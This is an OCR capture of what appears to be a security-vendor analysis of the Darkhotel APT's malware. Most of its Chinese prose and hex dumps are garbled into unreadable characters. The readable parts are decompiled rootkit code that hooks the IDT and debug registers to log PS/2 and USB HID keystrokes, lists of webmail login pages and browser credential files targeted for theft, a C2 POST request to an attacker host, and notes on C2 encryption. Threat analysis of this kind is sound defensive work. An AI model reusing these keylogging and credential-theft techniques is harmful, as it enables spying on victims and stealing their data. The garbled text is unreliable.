APT GroupZ%——DarkhotelZ ST SRATE

blog.nsfocus.net/darkhotel-3-0908/

RERB=E

—. Fikid

Darkhotelft I HIRATS 518 LASRIZ ML AF. (EARGHRNRR , XLERFERMEAR

— , HEERNEEN SRR , ERNEEMEREEAANEES—iE , BAR
R, BRAGATAFRZH , BEEMERRERIEFIEN , MAAThREAX ERS , £8
BT A SPITARIRLE,

. HiEAMENemim

2.1 HREtER

20144 , Darkhotel#E B T — 254t X Windows XPF FHINemimBI 22484 |, 1Ei &R P RS (S
BRI , d&mE3ksPOCK A PERANE , EARMIHE,

2.2 TR

FHUBTRZAWINOX, XPEk2000 , A A EYSHT B R N Bikndiskpro.inf3U {4 AR 2K S,

X FVista & E =S hREIWindows , 2B B S0 KR 3N 2 C:\Windows\system32\drivers ,
FiEM ARG FR R -

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Ndiskpro

ARMZ FFRREAEMRE T |, TTEREEAER , BUUAFEAP IR BREWindowshR A H]
A%,

2.3 ERGER

GRASELIERAERBEXM , RINERFEEERESR , XHE40tmp , BFRA iz’
LA, FREEER, & L ETEA)RE S BTE AR 1/, R ARTEBS TR B O 42 FREUE T
MBEX .

WEREEN AR , B RNE—XNNE , BEHREEMAFEERENEREE.
1 R HFERIERIE1E . PIDMFTER 4.

21 FAEMERERE , DEBETEREFRNER. BRES. KAEMNTKER
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall

B REEERMENANS N THIFR
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Installed Program [RegEey] [Hame] [Version] [Publisher] [Path]
[Hotepad++] [Notepad++ (32-bit x86)] [7.7.1] [Hotepad++ Team] []
[CEficels.PROPLUS] [Microsoft Office Professional Plus 2013] [15.0.4420.1017] [Microsoft Corporation] [D:\Mi
[WinPcapInst] [WinPcap 4.1.3] [4.1.0.2980] [Riverbed Technology, Inc.] []

[WinRAR archiver] [WinRA4R 5.70 [32—{E]] [5.70.0] [win.rar GmbH] [D:\Winrar570\]

[Wireshark] [Wireshark 2.6.5 32-bit] [2.6.5] [The Wireshark developer community, https://www.wireshark.org)
[{1F1C2DFC-2D24-3E06-BCBE-T25134ADF289}] [H.‘LCIDSth Visual C++ 2008 Redistributable - x86 9.0.30729.4148] [9
[{2E295B5B-1AD4-4d36-97C2-A316084722CF}] [Python 2.7.2) [2.7.2150] [Python Software Foundation][]

Running Process [Process] [ID] [User]
[[Svstem Process]] [0] [1

[System] [4] []

[WSystemRoot\System32\sms=.exe] [312] [SYSTEM]
[C:\Windows\syvstem32hcerss.exe] [412] [SYSTEM]
[C:\Windowshsystem32\wininit.exe] [464] [SYSTEM]
[C:\Windows\system32hcerss.exe] [472] [SYSTEM]

HRZFHEWENRNE , AETREENTZEAEER , FIHCxRHE,

BERYUNTUEREH ARG, PIDAERERIE , BTUREHAIENSERS , NAREHE A3
A, PO AiX SRR,

:ll:(;:{I;#I;::;.;::I;:sll(:l(:lf:l(:l(:lf:l(:l(:lf:l(:l(:lf:l(:l(:lf:l(:l(:lf:l(:l(#########x’##x’##x’##x’##x’##
[Brocess title: D:\info.txt - Hotepad++, path: D:‘\Hotepad++\notepad++.exe, ID: df4]
FFEWERNBSCBIERFERER | B RAIKNAMRE. KA ME MR & A%
i‘ %‘Jﬂ0x220004l/)\}%§f5@)]Eﬁﬁ’f}%{amlﬂﬁ , FEE TSR X AT HIRE0x220000 kW E TN

, fEMTRENBEFMER.

2.4 Rootkiti&ETH RIS

Darkhotel JIRZNLBHEE T I/OXEW & , 3FFHook T int Ox 14 ET 4L 18 [B]3&FNIofCallDriver |,
MTEREEIPS/252 B FUSBES RTHREE.

2.4.1 FEPS@RHEANE
ZIRFHNHRCPUAN B RERT 2% , FFZEDPCIEl .

1EDPCEIFF |, IR 4RSI TR [ 0x60F10x64 5 BT A drOFIdr1Z7EsL | B A7 XN
AECAZHHN0 , UK B IO HEEW M. AT Bl S EES YR &3, IRk E
T Ar7BIGDSL , {FIHEMAIR) Sk MR AT E S R EAR A A 1 SHRIAT,
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should hook idt SSAE@ = 1;

vS = _ readcrd();
dword 58368 = u5;
__writecr4(vs | 8)

VB = __readdr(@),

old_dré = v&;

v? = _ readdrilu);

old drl = v7;

vd = _ readdr({2u);

old dr2 = vi;

__writedr(@®, @x68u); J/ dreé = exee

__writedr{lu, @x64u); ffodrl = 8xs4

__writedr(2u, Sub_ 13418 ptr);

v = _ readdr(7u); // dr7 = 1900100016011100111111
S/ dr7.RuWe = 18
Jf dr7.BW1 = 1@

old dr7 = v3;
__writedr({7u, @x22273Fu);

BB SRWTAMER BT N, YOS EAN AN , ML RSBEE |
M SR W7 AR %

w18 _entry addr = get_idt entry by index(1lu);// hook int exel BHFE

v1ll hi_offset = *{_WORD }{._C entry_addr + B6);

orlglnal idt _cb 582E@[a2_cpu_index] = v1l_hi_offset;

*{ WORD *})(vle entry_addr + E} (unsigned int)idt single step hook cb »> 16;// {EpFHighOffset
v12 = *({ WORD *)}vle e1"~ addr

1dt _entry list[a2 cpu index] = { WORD *)v1@ entry addr;

*(_WORD *)v1@ entry_a dd (unsigned int)idt single step hook cb;// {EfiLowoffset
byte 953BA488[a2 cpu_index] = *(_BYTE *}(v1@ _entry_addr + 5);

*{ BYTE '}{.;C entry_addr + 5) |= @xE@u;

" I'I.II

= (v1l_hi_offset << 16) + v12;
Li = *( WORD *)(get_idt_entry_by_ index(lu) + 6);
dword 9538&34@[a4 cpu_index] = v13;
~esult = get_idt_entry_by_ index(@xFFu); /f hook int @xff

*(_WORD *}{'ESJL: + 6) = (unsigned int)idt_@xff_hook_cb »> 16;
*(_WORD *Yresult = (unsigned int)idt_exff_hook_cb;
*( BYTE -=}{-eshu'_— + 5) |= @xEdu;

b
1S W HookeR i+ , KEUHTHE BEEEEEFATFSML , HATRENES AR
TF23 AWM RO, B LE1/OWT s R{ES- P k4.

KRR/ OWT s A Mt , REREARA 5 I/0F54 . BT &3LRIBAIAR & 3LRI %m0
SOKEARR , FRENNKEIKEE/OTEL M E B,

0: kd> u poiipoi{[ebp-34h])1-1
hal |EEAD PORT_UCHAR+0x6:

82=390% ec in al ., d=x

2223909b 20400 ret 4

3223909 8bif o edi . edi

hal |EEAD _PORT_USHORT :

B2e390al 33cz0 HOT 23, 2AK

B2e390a2 8b542404 mow edx, dwvord ptr [esp+d]
B2=390ak Geed in ax, dx

B2e390a8 20400 ret 4

22=390ab 90 nop
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Yy

il i =

loc_95374953:

eax, [ebptvar 34 trap code_addr_ptr]
ecx, [eax]

[ebptvar_28 code_addr], ecx

edx, [ebpt+var_28 code_addr]
[ebpt+var_4 code_addr], edx

eax, [ebptvar_4 code_addr]

eax, 1
[ebptvar_4 code addr], eax
ecx, [ebptvar 4 code addr]
edw, byte ptr [ecx]

edx, G4h]

short loc_953

0S8 iR HEIEIE

EY
EY
EC
Ed
Ed
EE

movzx  ecx, byté ptr [eax]
cm ecx, 6@h
jnz short loc 95374996

64
68

64
68

IN AL ,B8x64
IN AL ,B8x68
IN AL,Ds
ouT B8x64,AL
ouT B8x68,AL
ouT DX,AL

¥l EENoESESERES
il s = 64h#060h

eax, [ebpyfrar_4 code_addr]

OESESFiRHEESEFSHET

ol e 5

mov
sub

Ll e 55

loc_95374985:

edx,

[ebptvar_4 code_addr], edx

eax,

[ebptvar_28 code_addr], eax

short

loc_95374996:

[ebpt+var_4 code_addr] mov ecx, [ebpt+var_4 code_addr]
edx, 1 mov [ebp+var_ 2@ code addr], ecx

[ebptvar_4 code addr]

loc_9537499C

REEERRE , BfF :

1. R AR

2. /IOt BE—1FT
3. 10 A=
4. FEIE , O FKIEIRA , 1E&REIRH

5. I/OTE4ILYRT & (HOUTIES HIAFIEMR)
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if { al_port == 8x64 )

DbgPrint("\t\tA\t\texX8X port access, data = @x&%3X\n™, @x64, a2 key code_or_state);
else
DbgPrint("ex¥3X port access, data = @x¥8X\n", al port, a2 key code or state);
v3_keylog_index = get_new_postion_fr_keylog info();
if ( v3_keylog_index != -1 )
switch ( a3_ic code 1st byte )
1
case @xEdu:
set_keylog info(v3 keylog index, a3 io code 1st byte, @, al _port, a2 key code or_ state, "IN AL, DX");
break;
case @xE6u:
set_keylog info(v3_keylog_index, a3_io_code_lst _byte, 3, al_port, a2_key_code_or_state, "OUT AL, DX");
break;
case @xECu:
set_keylog info(v3_keylog index, a3_ioc_code_lst byte, @, al_port, a2_key_code_or_state, "IN AL, DX");
break;
case BuEEu:
set_keylog info(v3_keylog index, a3_ic code_lst_byte, 3, al_port, a2_key code_or_state, "OUT AL, DX"};
break;
default:
set_keylog info(v3 keylog index, a3 io code 1st byte, @, al port, a2 key code or state, "IN AL, DX");
break;
¥

¥

0: kdr dd poi(953B33404+poi(ebp+i)*d) L2828
8550B510 00000001 0000000z 000000=z OOOOOOOO
8550b520 00000064 00000015 00000O0OC OOO0OOOOO
8550b530 00000000 00000000 00000000 ooooooano
8550L540 00000000 0O00OOO0OO0 OO0O00O0O00C0 Oo0ooa0aoo
8550B550 00000000 Q0O0000000 OoO00o0O00O0 oo0ooaooo
8550b560 00000000 00000000 00000000 oooOoogan
8550b570 00000000 00000000 00000000 ooooogan
8550B580 00000000 Q0000000 OoO00O0O00O0 oo0ooaooo
8550b590 41204=49% 44202c4c 00000055 00000000
8550b5=a0 00000000 00000000 00000000 ooo0ogan
0: kd: da poi(953B93404poi{ebp+d =4 )+0=30
8550b5%0 "IN AL. DX"

2.4.2 318Hid-USB&EHHENA

k)Xt 1ofCallDriver{if 7 PNExHook , scif FAHookek%k , AR Fi4lofCallDriver, FEHookeki%k
o, T8 BT /BIKEN4 A"\Driver\usbhubfUSBi& % , IEKFNBEIHIHId-USBIR B RIE1ESIR
H,

EE , WEHFFE—NEFE , FEEAMASIRNABE RS , BT R
is_keyboard_report_des_exist¥¥NZX & 2 B AUSBREMIRE , HENRE HUSBIREAM1.
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while ( !should_not_enum )

{

KeDelayExecutionThread(@, @, &Interval);
for ( a3_index = @; a3_index ¢ 188; Ha3_index )

if ( get_dev_info by index(&DeviceCbject, &a2_is_hid kdb, a3_index) > @ )
1

DbgPrint("[Output DeviceObject = @x¥8X, bIsHidkKbd = @x&%8X\n", DeviceObject, a2 is _hid_kdb};
if { a2_is_hid kdb == 1}

break;
if { DeviceObject )
1
DbgPrint(" i H
DbgPrint("Hid Report check!!, Before DeviceObject = @x¥8X\n", DeviceObject);
P_hid_report_des_ptr = get_hid_report_ptr_and_len(DeviceObject, (int)&v2_hid_report_len});
DbgPrint(" wn"y;
DbgPrint("Hid Report check!!, After DeviceObject = @x%BX\n", Devicelbiject);
if ( P_hid_report_des_ptr )
if ( is_keyboard _report_des_exist((int)}P_hid_report_des_ptr, v2_hid_report_len} )
1

list_is_hid kdb[2 * a3 _index] = 1;

eviceObject = @x%8X, Index = @x&%8X!!\n", DeviceObject,
DbgPrint (™ A
ExFreePoolWithTag(P_hid_report_des_ptr, @);

break;

SHFHIRFIEMES |, RIS — P EBIRPFHE NURBRIRIFUSBIE O FIR &S | DA

KEZRERERBTUSBESE. NEFIRPAIRP_MJ_INTERNAL_DEVICE_CONTROL , ThaE
BGAIOCTL_INTERNAL_USB_SUBMIT_URB, HookftlofCallDriveri@ZIi%NE8 A &IIRPAZ
SCIR[E] | EEIRALLS [RiAlofCallDriverk AR,

PVOID _ stdcall get hid des ptr(PDEVICE _OBJECT DeviceObject)
1

_URB *P_urb_ptr; // 5T14 4

NTSTATUS v3; // 57168 4

PVOID w4 hid_des_ptri // [esp4Ch] [ebp-4h]

if ( !DeviceObject ) [ EEFREIIER
return @;
P urb _ptr = (_URE *)ExAllocatePoclWithTag(e, @x50u, @x2@6B6444u);
vd hid des ptr = ExAllocatePooclWithTag(®, 9u, @x266B6444u);
memset(P urb ptr, @, @x58u);
P _urb_ptr-:UrbHeader.Length = 8x58;
P urb ptr-sUrbHeader.Function = @x28; // URB_FUNCTION GET_DESCRIPTOR_FROM_INTERFACE
F_urb_ptr-»*UrbControlDescriptorRequest.Index = @;
F_urb ptr-:*UrbControlDescriptorRequest.DescriptorType = @x21;
F_urb ptr-*UrbControlDescriptorRequest.TransferBuffer = v4 hid des ptr;
P urb ptr-:UrbControlDescriptorRequest.TransferBufferLength = 9;
v3 = make_irp for_cur_dev(DeviceObject, (int)}P_urb ptr);
ExFreePoolWithTag(P urb ptr, @);
if (w3 =8 )
return v4 _hid_des_ptr;
ExFreePoolWithTag(v4 hid_des _ptr, @);
return @;

¥

IXEh R AL ATR &R RERIRP | MlofCallDriverfiiHookefi % N4 it iEaKsh & #RH 16 E
BHIIRP :
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if ( !al dev ptr->DriverObject->DriverName.Buffer )// IEENEHE
return 8;
v3 = weslen({L"\\Driveri\\usbhub™};
if ( wecsnicmp(al _dev _ptr->DriverObject-:DriverName.Buffer, L"\\Driver\‘\usbhub", v3} )
return @;
vE_next_irp sp ptr = (PIO_STACK_LOCATION}(a2 irp ptr->Tail.Overlay.PacketType - 36)};
if { is_self made_irp(a2_irp_ptr, al _dev_ptr) )
return &;

EERFREREIREHEEE T AREMEX

BOOL _ stdcall is_keyboard_report_des_exist(int al_hid_report_des_ptr, int a2_hid_report_len)
1

int i; // [esp+8h] [ebp-8h]

if ( !al_hid_report_des_ptr )

return 8;
print_hid report_info(al hid report_des ptr, a2 hid report_len);
for { 1 = 8;
i ¢ a2_hid_report_len - 1
&% (*(_BYTE *)(i + al_hid_report_des_ptr) I=9 || *(_BYTE *)(i + al_hid_report_des_ptr + 1) != 6);
+Hi )
{ . code char EeyBoardReportDescriptor[..] = {
. 0x05, 0x01, _
return 1 < a2_hid_report_len - 1; Ox0%2, OxD4, =
¥
]

Bt , YHookflofCallDriversRi ¥ B ik B EIFEUSBIR &Y , NIES RSP EIRE B |

#AHId-USBRE , NIRE BT KRS FERE , RPN TRESREERFE
A,

Kz EMJ_DEVICE_CONTROL[E A+ #EM A PEAH T ARIEHRE, IR |, EiEH65

510x220000 , R ERTREEEEZE A FSE M. FITHIREA0x220004 |, N/ET XL
7.

=. EEOEAN

3.1 Thek

KA MEWINRar SEXBEf#EXXARBIIETT , STBEA NS, AMBMER Fig, BT
HiFEdR , BIfE2IC&C,

3.2 UERGERER

WEITENZFR. %, AP, MACHINE R HHash,
VilREMR , WECPUEBE. 1HENIES FIRERS L FRIRA.,
X B E AR SKarba TE R IEH 1L,
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HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\

ProcessorNameString
Identifier

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language\InstalllLanguage

HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CurrentVersion\

CSDVersion
ProductName
CurrentVersion

XL E B RS H 2 T IN & Base644whn,

3.3 BORIEE

PARRZA A7 B A _ERIEN S5 254451

IR EMNUE.

%48 3 FA COMZR #4801 UrlHistory Stg 248 O A5 Lt 4525

A18DAa728
B18DBGED
A18DB66A
A18DB62 8
A18DA5S8A
A18DA538
B18DB4F B

UNICODE
UNICODE
UNICODE
UNICODE
UNICODE
UNICODE
UNICODE

“http://www.msn.cn/"

“https://www . baidu.comn/"

“file:f//fc:fusersy JFfdesktop /! N
“http://wwy . baidu.comn/"
“"http://static-qlobal-s-msn-com.akamaized.net/hp-ea
“"http://qo.microsoft.com/fulink/"
“http://www.msn.cn/zh-cn”

ZJav

RN IEMERKIE

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2

Seab R T BFIBREKMEEH 4

- IESetting

, T BB I URLKRE R

: £ 2w #E

g IETId 6] (B3) REG.SZ EEERE)

44 IntelliForms % REG_BINARY 01 00 00 00 dO 8¢ 9d df 01 15 d1 11 8¢ 7a 00 <0 4f c2 47 eb...

P Stm’?gez 241 246566848810... REG_BINARY 01 00 00 00 d0 8c 9d df 01 15 d1 11 8¢ 7a 00 <0 4f c2 97 eb...

>~ International 24 2700F1869160.. REG_BINARY 01 00 00 00 d0 8¢ 9d df 01 15 d1 11 8¢ 7a 00 <0 4f c2 97 eb...

>+ InternetRegistry 4)3221B9EACDS... REG_BINARY 01 00 00 00 dO 8c 9d df 01 15 d1 11 8¢ 7a 00 <0 4f c2 97 eb...

t:::zs:;lorer %4 43FE3C397E5L.. REG_BINARY 01 00 00 00 dO 8¢ 9d df 01 15 d1 11 8¢ 7a 00 ¢0 &f c2 97 eb..

B Low Rights 4 737E42ECBAS... REG_BINARY 01 00 00 00 dO 8c 9d df 01 15 d1 11 8c 7a 00 D 4f c2 97 eb..

i LowRegistry 74 75E93D28900E... REG_BINARY 01 00 00 00 dO 8¢ 9d df 01 15 d1 11 8c 7a 00 D 4f c2 97 eb..
' Moin 4 A7544E111A50... REG_BINARY 01 00 00 00 d0 8¢ 9d df 01 15 d1 11 8c 7a 00 0 4f c2 97 eb..
| MAQ Settings 74 AA3BADCOECS... REG_BINARY 01 00 00 00 dO 8¢ 9d df 01 15 d1 11 8¢ 7a 00 0 4f c2 97 eb..

MoriFt 74| BYGFSEBO7121.. REG_BINARY 01 00 00 00 dO 8c 9d df 01 15 d1 11 8c 7a 00 0 4f c2 97 eb..

%EEIJFHF'T e SRICR , SRHARTASLICRPRD

ICRAER , EE&T — M3 , TR

http://twitter.com

http://facebook.com

http://passport.yandex.ru/passport

http://www.yandex.ru

PFLURL |, A ERRE S BT 52
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http://twitter.com/
http://facebook.com/
http://passport.yandex.ru/passport
http://www.yandex.ru/

http://qip.ru

http://mail.qip.ru

https://login.nifty.com/service/login

http://e.mail.ru/cgi-bin/login

http://mail.ru

http://mail.126.com

http://secure.zapak.com/mail/zapakmail.php

https://lavabit.com/apps/webmail/src/login.php

http://www.bigstring.com

http://www.gmx.com

http://passport.sohu.com/indexaction.action

http://www.sohu.com

https://www.zoho.com/login.html

http://mail.sina.com.cn

http://members.sina.com/index.php

http://www.care2.com/passport/login.html

http://www.mail.com/int

https://fastmail.fm/mail

https://www.inbox.com/login.aspx

http://www.gawab.com

http://mail.163.com

http://registration.lycos.com/login.php

http://www.mail.lycos.com

https://my.screenname.aol.com/_cqr/login/login.psp

https://edit.bjs.yahoo.com/config/login

9/17


http://qip.ru/
http://mail.qip.ru/
https://login.nifty.com/service/login
http://e.mail.ru/cgi-bin/login
http://mail.ru/
http://mail.126.com/
http://secure.zapak.com/mail/zapakmail.php
https://lavabit.com/apps/webmail/src/login.php
http://www.bigstring.com/
http://www.gmx.com/
http://passport.sohu.com/indexaction.action
http://www.sohu.com/
https://www.zoho.com/login.html
http://mail.sina.com.cn/
http://members.sina.com/index.php
http://www.care2.com/passport/login.html
http://www.mail.com/int
https://fastmail.fm/mail
https://www.inbox.com/login.aspx
http://www.gawab.com/
http://mail.163.com/
http://registration.lycos.com/login.php
http://www.mail.lycos.com/
https://my.screenname.aol.com/_cqr/login/login.psp
https://edit.bjs.yahoo.com/config/login

https://login.yahoo.co.jp/config/login

https://login.yahoo.com/config/login_verify2

https://login.live.com/login.srf

https://www.google.com/accounts/servicelogin

AP0, HARRT —LE R A MEhS | EBIEENRM S, SMAETRAR R, AT LS
BirEaFE,

STTF AT WS | KB E 5778 B .. .\AppData\Local\Google\Chrome\Application , 7Ei%
B3R T REIN T E R B RS R A S

KA RIEARRRATIRI BTN T2 sqlite ¥z E | EFEIBHNERKS.

6.0 HPLE \Google\Chrome\User Data\Default\Login Data

6.0DLF \Google\Chrome\User Data\Default\Web Data

BN | AR SR AT R Fim ) SR

KIN B 25
Outlook

¢ Windows Malil

e Windows Live Mail
e MSN

e Gmail

o Google Desktop

o Google Talk

3.4 WERITHIX HFMRERAHER

ZAHSIEAWindows Recentﬁ RAC:\Program FilesH% , DAWs&E B A HR4b B Sc 4 F0E A
BRHEE. A EHMG ST TN , HPddifZRFBHER.

HRENKN A ARG S1T. HRTIE). SCHRUERTE). STHFR/INISCH4A.
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https://login.yahoo.co.jp/config/login
https://login.yahoo.com/config/login_verify2
https://login.live.com/login.srf
https://www.google.com/accounts/servicelogin

63 64
5C 61
5C 6D
7773
28 63
69 6C
2D 2D
2D 2D
2D 2D
2D 2D
2D 2D
2D 2D
2D 2D
2D 2D
2D 2D
2D 2D
2D 2D

28
78
69
5C
64
65
2D
2D
2D
2D
2D
2D
2D
2D
2D

43
78
63
72
28
73
2D
2D
2D
2D
2D
2D
2D
2D

3a 5C
64 61
72 oF
65 63
43 3a
38 28
2D 2D
2D 2D
2D 2D
2D 2D
2D 2D
2D 2D
2D 2D
2D 2D
2D 2D 2D
2D 2D 2D 2D
2D 2D BA 43
5C 61|78 78
5C 6D|69 63
77 73 |5C 72
2D 2D 2D 2D
2D 2D 2D 2D
2D 2D 2D 2D
2D 2D 2D 2D
2D 2D 2D 2D
2D 2D 2D 2D
2D 2D 2D 2D
2D 2D 2D 2D
2D 2D 2D 2D
2D 2D 2D 2D
2D 2D 2D oBA
73 5C
5C 72 6F 61
66 74 5C 77
74 BA BA 32
34 3a 31 34
208 20 28 28
2D 32 33 28
4y 49 52 3E
32 38 31 39|20 308
33 3A 31 33|28 28
33 32 28 28|31 2E
31 39 2D 38|39 2D

6E
64
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
65

67
6F
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
72
6D
69
38
3p 38
28 28
28 3
28 28

69
6E
32

3
74
73
65
5C
64
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
3R
64
72
65
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
64

6E
64
38
38
28
34
28
34
28
74
32

73
61
6F
6E
e
64
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
5C
61
6F
63
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
64

67
6F
2D
28
2E
3R
28
2D
28
78
37

65
5C
66
74
72
69
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
3
74
73
65
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
69
5C
5C
77
38
28
aa
N |
28
38
28
74
28

72
72
74
3B
6F
72
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
73
61
6F
6E
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
72
61
6D
73
36
3C
32
34
28
32
28
2E
28

73
6F
5C
20
67
o
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
65
5C
66
74
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
20
70
69
5C
2D
nh
30
30
20
20
20
6C
31

5C
61
77
64
72
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
72
72
74
aa
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
43
78
63
72
32
49
32
38
28
28
28
6E
36

6D
69
64
61
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
73
6F
5C
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
3R
64
72
65
33
52
38
38
28
N |
28
6B
3R

69
6E
69
6D
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
5C
61
77
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
5C
61
6F
63
28
3E
2D
28
2E
34
28
aa
32

6E
64
72
28
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D

6D
69
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
3
74
73
65
28
28
38
28
2E
3R
N |
32
37

67
6F
3B
4é
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D

69
6E
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
2D
73
61
6F
6E
N |
28
36
3C
aa
32
39
38
3R

‘cd C:\Users\:

vappdataivroaming
wmicrosoftywindo
wsyrecent; ddir;
cd C:\Program F
iles; ddir.-————-

—-—--.C:\lsersy
\appdata\roanmi

ngimicrosoftiwin

dowsyrecent.---—-

————— .ddir C:\Us
ersh Aappdata
‘roamingimicroso
ftywindows\recen
t..2820-86-23 1
L:14:88 <DIR>

- .28208-06
14142688 <

14:2

-23
DIR>
2019-84-82
3:13 19
32 1.txt.1nk.Z28
19-89-27 16:27:

BESh | AEB SR EN A, HEBEE M EERIC&C, k3

doc, docx, xlIs, xIsx, ppt, pptx, gul, eml, pdf, ktx, ifa, if3, rtf

3.5 5C&CHiE(S

PAIEKCEC , FUEREEARECEC , NFAHIEL,

F—HE , mMCACEFENARSIRAER  RANSHE. H_ME , BIEZBERFHRIL

. REEFMGENEEANS |, 2 MEFLRD.

EaF

RAFE
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=HIES .
Z JaiEE CACEEHHE , REIKWHTTPRARFE R FR&H ‘minmel TR A , & NILREIER
C&C. XA CRCAILRL IMiEK , HHRMNEHHICC,

POST /html/docu.php HTTP/1.1

User-Agent: Mozilla/4.8 (compatible; MSIE 8.8; Windows NT 6.1; Trident/4.8; SLCCZ;
.MET CLR 2.8.58727; .NET CLR 3.5.3@729; .NET CLR 3.8.38729; Media Center PC 6.8)
Host: fenrix.yaahosting.info

Content-Length: 317

Connection: Keep-Alive

Cache-Control: no-cache

JTQZCKw=; 448368191 F8F5F31c@3166fed72bacac;
98ed768ab728aBf74adb957c31f1a213 ; G5kaFHVHby sAPQkaCyIPbnFYASof AmMgCQegX0xcnaGlgcBxCI8dv0

P9. RAT 2015

4.1 ThREtER
FRATRASCECHEIS | IMRIECACISAPITISEIRE . S, HARZIME,
4.2 AN

2015 K Darkhotel iR A & for B/RH ARSRET XM , SRNA AR , HAUTHEF , IALHR

1TIRERIAR

e antonie

e Antony

¢ janettedoe

e makrorechner
e Dave

e Hanuele Baser
e Administrator
e User

4.3 C&CIE4
A S5CCHE{ETELANT -
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EfF—RHNE uJ:Lﬁ_'l.i/]LLDFOPbOX Apiseik , SAPTI7THILAFHSN. C&CTFRNFNE
TLZNT1E48F{F F3DESINZE ., ¥iE LIZRIRIFAEELZNTI EYE , SxorilZg,

Bsh |, SHBHR T EBITIHERREH A2 FF.

T. RAT kbxxxxUpd.dIl

5.1 ThREMER

ADLLAK S E S ARInkit TR T2 TEISk , BTRAHMERATIEF , 25C&C
BHTIMEIR(S , FFRIECECTESPUTICME. UHFE. TEMIERIRIE.

ARATSHI TR 2015FMRATE RN AL , (BIBEUMNE K.

5.2 Fia

KAIFEFRERETEHEDENMERLEEESE. REEERMRFIEREF 33 4l
0x1DCC8~0x1E270( E4t , BREFEFFIZTTE R T KEAOXSASHKIIL AR (ATHdIFEFSCEC

A=

IB{EIK1S)
ALEEERNSEE

o C&CImABEKIKIE
o ZEXMHREFNE
o ZHHIHREFLTR
o MNEENIBEHS

e , BFERAREEE , MBS EBXMEE G NP HIRERCaACHIIEFF 53R

5.3 B
RO AT {FE FAwindows api-5 B K ELEM I SC&CHINEIE(S.
FiahEaFERRTmE , FEBENETT

[xorkew
SEkfiF %F ﬁ%’éﬁﬁﬁﬁﬁﬂﬂf ESBHITEZIRMRE

ox0:0x1  |Ox1:0x2 0%2:0x8E OxBE:0x96(0x9E) | 0x96({0xIE):
[Ern::rl,rpt type] |lencrypt key] |[encrypt IV] [encrypt data]

13/17



BIRBEEIRAZAT

1. fEfsha18ik |, ¥ 8FTIEmISE{EO7 8F 63 D4 60 39 74 EBf4#ft Ajhashkey;

2. {#FA3DESH % , Fahashkey4£ S —Mig#4dec_key_1st;

3. {FARSAR EMfRESdec_key 1st , #6007 [RIA%HE (H[encrypt typelfEEKIR)
iR a1S 258 — M sEdec_key_2nd;

4. {FFARSAE AT E 4 dec_key _2nd , K NERRES 1407 5 [encrypt key i3 F155 &
KRR REdec_key final;

5. {¢ Flencrypt type B AIHIA, [encrypt IVHEEMIVIEFfEHEdec_key_final , X
[encrypt data] i THEE .

[encrypt type] FERHHE S & XANF :

o BCENHEERER
o WATEEMER
o BFERIBER

5.4 C&CH54
R fa[encrypt data] P OME , PUTHATREKRNG S
F— &R AP NEBSY , emdcodeS5emdbuf , ST IR TESIERINT -

[FF54]-cmdcode

écmdcode/pﬁEOOW’?OOE*] B S E RS |, FERF T — %ﬁﬂ%cmdbufﬁﬂﬁj\jcmdkey content
RFHFFS , 81 omdkeyKEHITX N Y FRINAE

[ F&t5<]-cmdkey
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75%. RAT 2018
20184F , Darkhotel{§ FARAT4T X ERE R S e E R €M BT,

6.1 FAM
RATESRRBESRHIZNT T

C:\Users\%USER%\AppData\Roaming\Microsoft\Windows\Templates\mscleaner.exe

Z fai@idpowershell i SR EEMES , BahEHIEHEEAR,
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bt

ASCII

BO12F388
BE12F318
BO12F328
BO12F338
BO12F348
BO12F358
BE12F368
BO12F378
BO12F388
BE12F398
BE12F3n8
B012F3BE8
BO12F3C8
8E12F3D8
BO12F3EB
BO12F3F8
8012F 488
BE1Z2FW18
BO12F428
BE12F438
BE12F 448
BO12F458
BE12F 468
BE12FL78

FTC Y o Y

REREFNG | WS I 22 5 75 5 0 3 ] Rt SN S C2m B S ThaE | 1B ik e it =8

69
63
73
29
SF
SF
L2
27
47
75
24
6C
iy
6B
67
iy
28
28
29

D

61
FiL
29
iy
6C
63
29
a0
78
73
6F
iy
G6E
aa

73
65
27
65
L3
27
29
2E
65
FL
6D
6C
3dB
2D
LE
68
3dB
28
6D
FiL}
G6E
61
75
a4

6B
6D
3dB
63
63
29
3dB
47
iy
68
65
61
24
43
61
2E
24
LB
6C
65
28
73
6C
aa

SF
FiL
24
FL
68
3aB
24
65
2D
28
28
63
FL
6F
6D
LE
FiL
73
3dB
i2
24
6B
6C
aa

L
2B
73
28
65
24
66
FL
49
iC
aD
65
61
G6E
65
65
61
iy
24
5y
FL
2C
2C
aa

61
27
63
2D
64
73
6F
L]
FiL
28
28
28
73
FL}
3dB
7
73
i2
66
61
61
28
28
aa

FL}
LC
68
43
75
63
6C
6F
65
25
24
27
6B
65
24
5y
6B
69
6F
73
73
a6
38
a4

68
63
28
6F
6C
68
64
6C
6D
7B
SF
2E
SF
G6E
iy
61
2E
G6E
6C
6B
6B
2C
2C
